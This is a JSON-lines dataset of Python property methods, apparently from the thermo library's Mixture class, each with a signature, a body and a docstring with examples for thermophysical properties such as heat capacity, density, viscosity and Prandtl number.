{"signature": "@property<EOL><INDENT>def permittivites(self):<DEDENT>", "body": "return [i.permittivity for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component relative permittivities of the chemicals in the\n        mixture at its current temperature, [dimensionless].\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).permittivites\n        [2.23133472, 1.8508128]", "id": "f15811:c0:m75"}
{"signature": "@property<EOL><INDENT>def JTls(self):<DEDENT>", "body": "return [i.JTl for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component Joule Thomson coefficients of the chemicals in the\n        mixture in the liquid phase at its current temperature and pressure, in\n        units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).JTls\n        [-3.8633730709853161e-07, -3.464395792560331e-07]", "id": "f15811:c0:m76"}
{"signature": "@property<EOL><INDENT>def JTgs(self):<DEDENT>", "body": "return [i.JTg for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component Joule Thomson coefficients of the chemicals in the\n        mixture in the gas phase at its current temperature and pressure, in\n        units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).JTgs\n        [6.0940046688790938e-05, 4.1290005523287549e-05]", "id": "f15811:c0:m77"}
{"signature": "@property<EOL><INDENT>def nuls(self):<DEDENT>", "body": "return [i.nul for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component kinematic viscosities of the liquid phase of the\n        chemicals in the mixture at its current temperature and pressure, in\n        units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).nuls\n        [5.357870271650772e-07, 3.8127962283230277e-07]", "id": "f15811:c0:m78"}
{"signature": "@property<EOL><INDENT>def nugs(self):<DEDENT>", "body": "return [i.nul for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component kinematic viscosities of the gas phase of the\n        chemicals in the mixture at its current temperature and pressure, in\n        units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).nugs\n        [5.357870271650772e-07, 3.8127962283230277e-07]", "id": "f15811:c0:m79"}
{"signature": "@property<EOL><INDENT>def alphals(self):<DEDENT>", "body": "return [i.alphal for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component thermal diffusivities of the chemicals in the\n        mixture in the liquid phase at the current temperature and pressure, in\n        units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).alphals\n        [8.732683564481583e-08, 7.57355434073289e-08]", "id": "f15811:c0:m80"}
{"signature": "@property<EOL><INDENT>def alphags(self):<DEDENT>", "body": "return [i.alphag for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component thermal diffusivities of the chemicals in the\n        mixture in the gas phase at the current temperature and pressure, in\n        units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).alphags\n        [3.3028044028118324e-06, 2.4412958544059014e-06]", "id": "f15811:c0:m81"}
{"signature": "@property<EOL><INDENT>def Prls(self):<DEDENT>", "body": "return [i.Prl for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component Prandtl numbers of the liquid phase of the chemicals\n        in the mixture at its current temperature and pressure, [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).Prls\n        [6.13542244155373, 5.034355147908088]", "id": "f15811:c0:m82"}
{"signature": "@property<EOL><INDENT>def Prgs(self):<DEDENT>", "body": "return [i.Prg for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component Prandtl numbers of the gas phase of the chemicals\n        in the mixture at its current temperature and pressure, [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).Prgs\n        [0.7810364900059606, 0.784358381123896]", "id": "f15811:c0:m83"}
{"signature": "@property<EOL><INDENT>def solubility_parameters(self):<DEDENT>", "body": "return [i.solubility_parameter for i in self.Chemicals]<EOL>", "docstring": "r'''Pure component solubility parameters of the chemicals in the\n        mixture at its current temperature and pressure, in units of [Pa^0.5].\n\n        .. math::\n            \\delta = \\sqrt{\\frac{\\Delta H_{vap} - RT}{V_m}}\n\n        Examples\n        --------\n        >>> Mixture(['benzene', 'hexane'], ws=[0.5, 0.5], T=320).solubility_parameters\n        [18062.51359608708, 14244.12852702228]", "id": "f15811:c0:m84"}
{"signature": "@property<EOL><INDENT>def rhol(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return Vm_to_rho(Vml, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Liquid-phase mass density of the mixture at its current\n        temperature, pressure, and composition in units of [kg/m^3]. For\n        calculation of this property at other temperatures, pressures,\n        compositions or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeLiquidMixture`; each Mixture instance\n        creates one to actually perform the calculations. Note that that\n        interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Mixture(['o-xylene'], ws=[1], T=297).rhol\n        876.9946785618097", "id": "f15811:c0:m85"}
{"signature": "@property<EOL><INDENT>def rhog(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return Vm_to_rho(Vmg, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase mass density of the mixture at its current temperature,\n        pressure, and composition in units of [kg/m^3]. For calculation of this\n        property at other temperatures, pressures, or compositions or\n        specifying manually the method used to calculate it, and more - see the\n        object oriented interface :obj:`thermo.volume.VolumeGasMixture`; each\n        Mixture instance creates one to actually perform the calculations. Note\n        that that interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Mixture(['hexane'], ws=[1], T=300, P=2E5).rhog\n        7.914447603999089", "id": "f15811:c0:m86"}
{"signature": "@property<EOL><INDENT>def rholm(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return <NUM_LIT:1.>/Vml<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the mixture in the liquid phase at the\n        current temperature, pressure, and composition in units of [mol/m^3].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeLiquidMixture` to perform the actual\n        calculation of molar volume.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=300).rholm\n        55317.352773503124", "id": "f15811:c0:m87"}
{"signature": "@property<EOL><INDENT>def rhogm(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return <NUM_LIT:1.>/Vmg<EOL><DEDENT>return None<EOL>", "docstring": "r'''Molar density of the mixture in the gas phase at the\n        current temperature, pressure, and composition in units of [mol/m^3].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeGasMixture` to perform the actual\n        calculation of molar volume.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=500).rhogm\n        24.467426039789093", "id": "f15811:c0:m88"}
{"signature": "@property<EOL><INDENT>def Zl(self):<DEDENT>", "body": "Vml = self.Vml<EOL>if Vml:<EOL><INDENT>return Z(self.T, self.P, Vml)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the mixture in the liquid phase at the\n        current temperature, pressure, and composition, [dimensionless].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeLiquidMixture` to perform the actual\n        calculation of molar volume.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1]).Zl\n        0.0007385375470263454", "id": "f15811:c0:m89"}
{"signature": "@property<EOL><INDENT>def Zg(self):<DEDENT>", "body": "Vmg = self.Vmg<EOL>if Vmg:<EOL><INDENT>return Z(self.T, self.P, Vmg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the mixture in the gas phase at the\n        current temperature, pressure, and composition, [dimensionless].\n\n        Utilizes the object oriented interface and\n        :obj:`thermo.volume.VolumeGasMixture` to perform the actual calculation\n        of molar volume.\n\n        Examples\n        --------\n        >>> Mixture(['hexane'], ws=[1], T=300, P=1E5).Zg\n        0.9403859376888885", "id": "f15811:c0:m90"}
{"signature": "@property<EOL><INDENT>def Cpsm(self):<DEDENT>", "body": "return self.HeatCapacitySolidMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Solid-phase heat capacity of the mixture at its current temperature\n        and composition, in units of [J/mol/K]. For calculation of this property\n        at other temperatures or compositions, or specifying manually the\n        method used to calculate it, and more - see the object oriented\n        interface :obj:`thermo.heat_capacity.HeatCapacitySolidMixture`; each\n        Mixture instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['silver', 'platinum'], ws=[0.95, 0.05]).Cpsm\n        25.32745796347474", "id": "f15811:c0:m91"}
{"signature": "@property<EOL><INDENT>def Cplm(self):<DEDENT>", "body": "return self.HeatCapacityLiquidMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Liquid-phase heat capacity of the mixture at its current\n        temperature and composition, in units of [J/mol/K]. For calculation of\n        this property at other temperatures or compositions, or specifying\n        manually the method used to calculate it, and more - see the object\n        oriented interface :obj:`thermo.heat_capacity.HeatCapacityLiquidMixture`;\n        each Mixture instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['toluene', 'decane'], ws=[.9, .1], T=300).Cplm\n        168.29127923518843", "id": "f15811:c0:m92"}
{"signature": "@property<EOL><INDENT>def Cpgm(self):<DEDENT>", "body": "return self.HeatCapacityGasMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Gas-phase heat capacity of the mixture at its current temperature\n        and composition, in units of [J/mol/K]. For calculation of this property\n        at other temperatures or compositions, or specifying manually the\n        method used to calculate it, and more - see the object oriented\n        interface :obj:`thermo.heat_capacity.HeatCapacityGasMixture`; each\n        Mixture instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['oxygen', 'nitrogen'], ws=[.4, .6], T=350, P=1E6).Cpgm\n        29.361044582498046", "id": "f15811:c0:m93"}
{"signature": "@property<EOL><INDENT>def Cps(self):<DEDENT>", "body": "Cpsm = self.HeatCapacitySolidMixture(self.T, self.P, self.zs, self.ws)<EOL>if Cpsm:<EOL><INDENT>return property_molar_to_mass(Cpsm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Solid-phase heat capacity of the mixture at its current temperature\n        and composition, in units of [J/kg/K]. For calculation of this property\n        at other temperatures or compositions, or specifying manually the\n        method used to calculate it,  and more - see the object oriented\n        interface :obj:`thermo.heat_capacity.HeatCapacitySolidMixture`; each\n        Mixture instance creates one to actually perform the calculations. Note\n        that that interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Mixture(['silver', 'platinum'], ws=[0.95, 0.05]).Cps\n        229.55166388430328", "id": "f15811:c0:m94"}
{"signature": "@property<EOL><INDENT>def Cpl(self):<DEDENT>", "body": "Cplm = self.HeatCapacityLiquidMixture(self.T, self.P, self.zs, self.ws)<EOL>if Cplm:<EOL><INDENT>return property_molar_to_mass(Cplm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Liquid-phase heat capacity of the mixture at its current\n        temperature and composition, in units of [J/kg/K]. For calculation of\n        this property at other temperatures or compositions, or specifying\n        manually the method used to calculate it, and more - see the object\n        oriented interface :obj:`thermo.heat_capacity.HeatCapacityLiquidMixture`;\n        each Mixture instance creates one to actually perform the calculations.\n        Note that that interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Mixture(['water', 'sodium chloride'], ws=[.9, .1], T=301.5).Cpl\n        3735.4604049449786", "id": "f15811:c0:m95"}
{"signature": "@property<EOL><INDENT>def Cpg(self):<DEDENT>", "body": "Cpgm = self.HeatCapacityGasMixture(self.T, self.P, self.zs, self.ws)<EOL>if Cpgm:<EOL><INDENT>return property_molar_to_mass(Cpgm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase heat capacity of the mixture at its current temperature ,\n        and composition in units of [J/kg/K]. For calculation of this property at\n        other temperatures or compositions, or specifying manually the method\n        used to calculate it, and more - see the object oriented interface\n        :obj:`thermo.heat_capacity.HeatCapacityGasMixture`; each Mixture\n        instance creates one to actually perform the calculations. Note that\n        that interface provides output in molar units.\n\n        Examples\n        --------\n        >>> Mixture(['oxygen', 'nitrogen'], ws=[.4, .6], T=350, P=1E6).Cpg\n        995.8911053614883", "id": "f15811:c0:m96"}
{"signature": "@property<EOL><INDENT>def Cvgm(self):<DEDENT>", "body": "Cpgm = self.HeatCapacityGasMixture(self.T, self.P, self.zs, self.ws)<EOL>if Cpgm:<EOL><INDENT>return Cpgm - R<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase ideal-gas contant-volume heat capacity of the mixture at\n        its current temperature and composition, in units of [J/mol/K]. Subtracts R from\n        the ideal-gas heat capacity; does not include pressure-compensation\n        from an equation of state.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=520).Cvgm\n        27.13366316134193", "id": "f15811:c0:m97"}
{"signature": "@property<EOL><INDENT>def Cvg(self):<DEDENT>", "body": "Cvgm = self.Cvgm<EOL>if Cvgm:<EOL><INDENT>return property_molar_to_mass(Cvgm, self.MW)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase ideal-gas contant-volume heat capacity of the mixture at\n        its current temperature, in units of [J/kg/K]. Subtracts R from\n        the ideal-gas heat capacity; does not include pressure-compensation\n        from an equation of state.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=520).Cvg\n        1506.1471795798861", "id": "f15811:c0:m98"}
{"signature": "@property<EOL><INDENT>def isentropic_exponent(self):<DEDENT>", "body": "Cp, Cv = self.Cpg, self.Cvg<EOL>if Cp and Cv:<EOL><INDENT>return isentropic_exponent(Cp, Cv)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Gas-phase ideal-gas isentropic exponent of the mixture at its\n        current temperature, [dimensionless]. Does not include\n        pressure-compensation from an equation of state.\n\n        Examples\n        --------\n        >>> Mixture(['hydrogen'], ws=[1]).isentropic_exponent\n        1.405237786321222", "id": "f15811:c0:m99"}
{"signature": "@property<EOL><INDENT>def Bvirial(self):<DEDENT>", "body": "if self.Vmg:<EOL><INDENT>return B_from_Z(self.Zg, self.T, self.P)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Second virial coefficient of the gas phase of the mixture at its\n        current temperature, pressure, and composition in units of [mol/m^3].\n\n        This property uses the object-oriented interface\n        :obj:`thermo.volume.VolumeGasMixture`, converting its result with\n        :obj:`thermo.utils.B_from_Z`.\n\n        Examples\n        --------\n        >>> Mixture(['hexane'], ws=[1], T=300, P=1E5).Bvirial\n        -0.001486976173801296", "id": "f15811:c0:m100"}
{"signature": "@property<EOL><INDENT>def JTl(self):<DEDENT>", "body": "Vml, Cplm, isobaric_expansion_l = self.Vml, self.Cplm, self.isobaric_expansion_l<EOL>if all((Vml, Cplm, isobaric_expansion_l)):<EOL><INDENT>return Joule_Thomson(T=self.T, V=Vml, Cp=Cplm, beta=isobaric_expansion_l)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Joule Thomson coefficient of the liquid phase of the mixture if one\n        exists at its current temperature and pressure, in units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Examples\n        --------\n        >>> Mixture(['dodecane'], ws=[1], T=400).JTl\n        -3.193910574559279e-07", "id": "f15811:c0:m101"}
{"signature": "@property<EOL><INDENT>def JTg(self):<DEDENT>", "body": "Vmg, Cpgm, isobaric_expansion_g = self.Vmg, self.Cpgm, self.isobaric_expansion_g<EOL>if all((Vmg, Cpgm, isobaric_expansion_g)):<EOL><INDENT>return Joule_Thomson(T=self.T, V=Vmg, Cp=Cpgm, beta=isobaric_expansion_g)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Joule Thomson coefficient of the gas phase of the mixture if one\n        exists at its current temperature and pressure, in units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Examples\n        --------\n        >>> Mixture(['dodecane'], ws=[1], T=400, P=1000).JTg\n        5.4089897835384913e-05", "id": "f15811:c0:m102"}
{"signature": "@property<EOL><INDENT>def nul(self):<DEDENT>", "body": "mul, rhol = self.mul, self.rhol<EOL>if all([mul, rhol]):<EOL><INDENT>return nu_mu_converter(mu=mul, rho=rhol)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Kinematic viscosity of the liquid phase of the mixture if one\n        exists at its current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Examples\n        --------\n        >>> Mixture(['methane'], ws=[1], T=110).nul\n        2.858088468937333e-07", "id": "f15811:c0:m103"}
{"signature": "@property<EOL><INDENT>def nug(self):<DEDENT>", "body": "mug, rhog = self.mug, self.rhog<EOL>if all([mug, rhog]):<EOL><INDENT>return nu_mu_converter(mu=mug, rho=rhog)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Kinematic viscosity of the gas phase of the mixture if one exists\n        at its current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Examples\n        --------\n        >>> Mixture(['methane'], ws=[1], T=115).nug\n        2.5118460023343146e-06", "id": "f15811:c0:m104"}
{"signature": "@property<EOL><INDENT>def alphal(self):<DEDENT>", "body": "kl, rhol, Cpl = self.kl, self.rhol, self.Cpl<EOL>if all([kl, rhol, Cpl]):<EOL><INDENT>return thermal_diffusivity(k=kl, rho=rhol, Cp=Cpl)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Thermal diffusivity of the liquid phase of the mixture if one\n        exists at its current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen'], ws=[1], T=70).alphal\n        9.444949636299626e-08", "id": "f15811:c0:m105"}
{"signature": "@property<EOL><INDENT>def alphag(self):<DEDENT>", "body": "kg, rhog, Cpg = self.kg, self.rhog, self.Cpg<EOL>if all([kg, rhog, Cpg]):<EOL><INDENT>return thermal_diffusivity(k=kg, rho=rhog, Cp=Cpg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Thermal diffusivity of the gas phase of the mixture if one exists\n        at its current temperature and pressure, in units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Examples\n        --------\n        >>> Mixture(['ammonia'], ws=[1]).alphag\n        1.6968517002221566e-05", "id": "f15811:c0:m106"}
{"signature": "@property<EOL><INDENT>def Prl(self):<DEDENT>", "body": "Cpl, mul, kl = self.Cpl, self.mul, self.kl<EOL>if all([Cpl, mul, kl]):<EOL><INDENT>return Prandtl(Cp=Cpl, mu=mul, k=kl)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Prandtl number of the liquid phase of the mixture if one exists at\n        its current temperature and pressure, [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Examples\n        --------\n        >>> Mixture(['nitrogen'], ws=[1], T=70).Prl\n        2.782821450148889", "id": "f15811:c0:m107"}
{"signature": "@property<EOL><INDENT>def Prg(self):<DEDENT>", "body": "Cpg, mug, kg = self.Cpg, self.mug, self.kg<EOL>if all([Cpg, mug, kg]):<EOL><INDENT>return Prandtl(Cp=Cpg, mu=mug, k=kg)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Prandtl number of the gas phase of the mixture if one exists at its\n        current temperature and pressure, [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Examples\n        --------\n        >>> Mixture(['NH3'], ws=[1]).Prg\n        0.8472637319330079", "id": "f15811:c0:m108"}
{"signature": "@property<EOL><INDENT>def Vml(self):<DEDENT>", "body": "return self.VolumeLiquidMixture(T=self.T, P=self.P, zs=self.zs, ws=self.ws)<EOL>", "docstring": "r'''Liquid-phase molar volume of the mixture at its current\n        temperature, pressure, and composition in units of [m^3/mol]. For\n        calculation of this property at other temperatures or pressures or\n        compositions, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeLiquidMixture`; each Mixture instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['cyclobutane'], ws=[1], T=225).Vml\n        7.42395423425395e-05", "id": "f15811:c0:m109"}
{"signature": "@property<EOL><INDENT>def Vmg(self):<DEDENT>", "body": "return self.VolumeGasMixture(T=self.T, P=self.P, zs=self.zs, ws=self.ws)<EOL>", "docstring": "r'''Gas-phase molar volume of the mixture at its current\n        temperature, pressure, and composition in units of [m^3/mol]. For\n        calculation of this property at other temperatures or pressures or\n        compositions, or specifying manually the method used to calculate it,\n        and more - see the object oriented interface\n        :obj:`thermo.volume.VolumeGasMixture`; each Mixture instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['hexane'], ws=[1], T=300, P=2E5).Vmg\n        0.010888694235142216", "id": "f15811:c0:m110"}
{"signature": "@property<EOL><INDENT>def SGg(self):<DEDENT>", "body": "Vmg = self.VolumeGasMixture(T=<NUM_LIT>, P=<NUM_LIT>, zs=self.zs, ws=self.ws)<EOL>if Vmg:<EOL><INDENT>rho = Vm_to_rho(Vmg, self.MW)<EOL>return SG(rho, rho_ref=<NUM_LIT>) <EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of a hypothetical gas phase of the mixture, .\n        [dimensionless]. The reference condition is air at 15.6 \u00b0C (60 \u00b0F) and \n        1 atm (rho=1.223 kg/m^3). The definition for gases uses the \n        compressibility factor of the reference gas and the mixture both at the \n        reference conditions, not the conditions of the mixture.\n\n        Examples\n        --------\n        >>> Mixture('argon').SGg\n        1.3800407778218216", "id": "f15811:c0:m111"}
{"signature": "@property<EOL><INDENT>def mul(self):<DEDENT>", "body": "return self.ViscosityLiquidMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Viscosity of the mixture in the liquid phase at its current\n        temperature, pressure, and composition in units of [Pa*s].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.viscosity.ViscosityLiquidMixture`; each Mixture instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=320).mul\n        0.0005767262693751547", "id": "f15811:c0:m112"}
{"signature": "@property<EOL><INDENT>def mug(self):<DEDENT>", "body": "return self.ViscosityGasMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Viscosity of the mixture in the gas phase at its current\n        temperature, pressure, and composition in units of [Pa*s].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.viscosity.ViscosityGasMixture`; each Mixture instance\n        creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=500).mug\n        1.7298722343367148e-05", "id": "f15811:c0:m113"}
{"signature": "@property<EOL><INDENT>def sigma(self):<DEDENT>", "body": "return self.SurfaceTensionMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Surface tension of the mixture at its current temperature and\n        composition, in units of [N/m].\n\n        For calculation of this property at other temperatures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface :obj:`thermo.interface.SurfaceTensionMixture`;\n        each Mixture instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=300, P=1E5).sigma\n        0.07176932405246211", "id": "f15811:c0:m114"}
{"signature": "@property<EOL><INDENT>def kl(self):<DEDENT>", "body": "return self.ThermalConductivityLiquidMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Thermal conductivity of the mixture in the liquid phase at its current\n        temperature, pressure, and composition in units of [Pa*s].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.thermal_conductivity.ThermalConductivityLiquidMixture`;\n        each Mixture instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=320).kl\n        0.6369957248212118", "id": "f15811:c0:m115"}
{"signature": "@property<EOL><INDENT>def kg(self):<DEDENT>", "body": "return self.ThermalConductivityGasMixture(self.T, self.P, self.zs, self.ws)<EOL>", "docstring": "r'''Thermal conductivity of the mixture in the gas phase at its current\n        temperature, pressure, and composition in units of [Pa*s].\n\n        For calculation of this property at other temperatures and pressures,\n        or specifying manually the method used to calculate it, and more - see\n        the object oriented interface\n        :obj:`thermo.thermal_conductivity.ThermalConductivityGasMixture`;\n        each Mixture instance creates one to actually perform the calculations.\n\n        Examples\n        --------\n        >>> Mixture(['water'], ws=[1], T=500).kg\n        0.036035173297862676", "id": "f15811:c0:m116"}
{"signature": "@property<EOL><INDENT>def Cp(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.Cps, l=self.Cpl, g=self.Cpg)<EOL>", "docstring": "r'''Mass heat capacity of the mixture at its current phase and\n        temperature, in units of [J/kg/K].\n\n        Examples\n        --------\n        >>> w = Mixture(['water'], ws=[1])\n        >>> w.Cp, w.phase\n        (4180.597021827336, 'l')\n        >>> Pd = Mixture(['palladium'], ws=[1])\n        >>> Pd.Cp, Pd.phase\n        (234.26767209171211, 's')", "id": "f15811:c0:m117"}
{"signature": "@property<EOL><INDENT>def Cpm(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.Cpsm, l=self.Cplm, g=self.Cpgm)<EOL>", "docstring": "r'''Molar heat capacity of the mixture at its current phase and\n        temperature, in units of [J/mol/K]. Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['ethylbenzene'], ws=[1], T=550, P=3E6).Cpm\n        294.18449553310046", "id": "f15811:c0:m118"}
{"signature": "@property<EOL><INDENT>def Vm(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.Vms, l=self.Vml, g=self.Vmg)<EOL>", "docstring": "r'''Molar volume of the mixture at its current phase and\n        temperature and pressure, in units of [m^3/mol].\n        Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['ethylbenzene'], ws=[1], T=550, P=3E6).Vm\n        0.00017758024401627633", "id": "f15811:c0:m119"}
{"signature": "@property<EOL><INDENT>def rho(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.rhos, l=self.rhol, g=self.rhog)<EOL>", "docstring": "r'''Mass density of the mixture at its current phase and\n        temperature and pressure, in units of [kg/m^3].\n        Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['decane'], ws=[1], T=550, P=2E6).rho\n        498.67008448640604", "id": "f15811:c0:m120"}
{"signature": "@property<EOL><INDENT>def rhom(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=None, l=self.rholm, g=self.rhogm)<EOL>", "docstring": "r'''Molar density of the mixture at its current phase and\n        temperature and pressure, in units of [mol/m^3].\n        Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['1-hexanol'], ws=[1]).rhom\n        7983.414573003429", "id": "f15811:c0:m121"}
{"signature": "@property<EOL><INDENT>def Z(self):<DEDENT>", "body": "Vm = self.Vm<EOL>if Vm:<EOL><INDENT>return Z(self.T, self.P, Vm)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the mixture at its current phase and\n        temperature and pressure, [dimensionless].\n        Available only if single phase.\n\n        Examples\n        --------\n        >>> Mixture(['MTBE'], ws=[1], T=900, P=1E-2).Z\n        0.9999999999056374", "id": "f15811:c0:m122"}
{"signature": "@property<EOL><INDENT>def SG(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.SGs, l=self.SGl, g=self.SGg)<EOL>", "docstring": "r'''Specific gravity of the mixture, [dimensionless]. \n\n        For gas-phase conditions, this is calculated at 15.6 \u00b0C (60 \u00b0F) and 1 \n        atm for the mixture and the reference fluid, air. \n        For liquid and solid phase conditions, this is calculated based on a \n        reference fluid of water at 4\u00b0C at 1 atm, but the with the liquid or \n        solid mixture's density at the currently specified conditions.\n\n        Examples\n        --------\n        >>> Mixture('MTBE').SG\n        0.7428160596603596", "id": "f15811:c0:m123"}
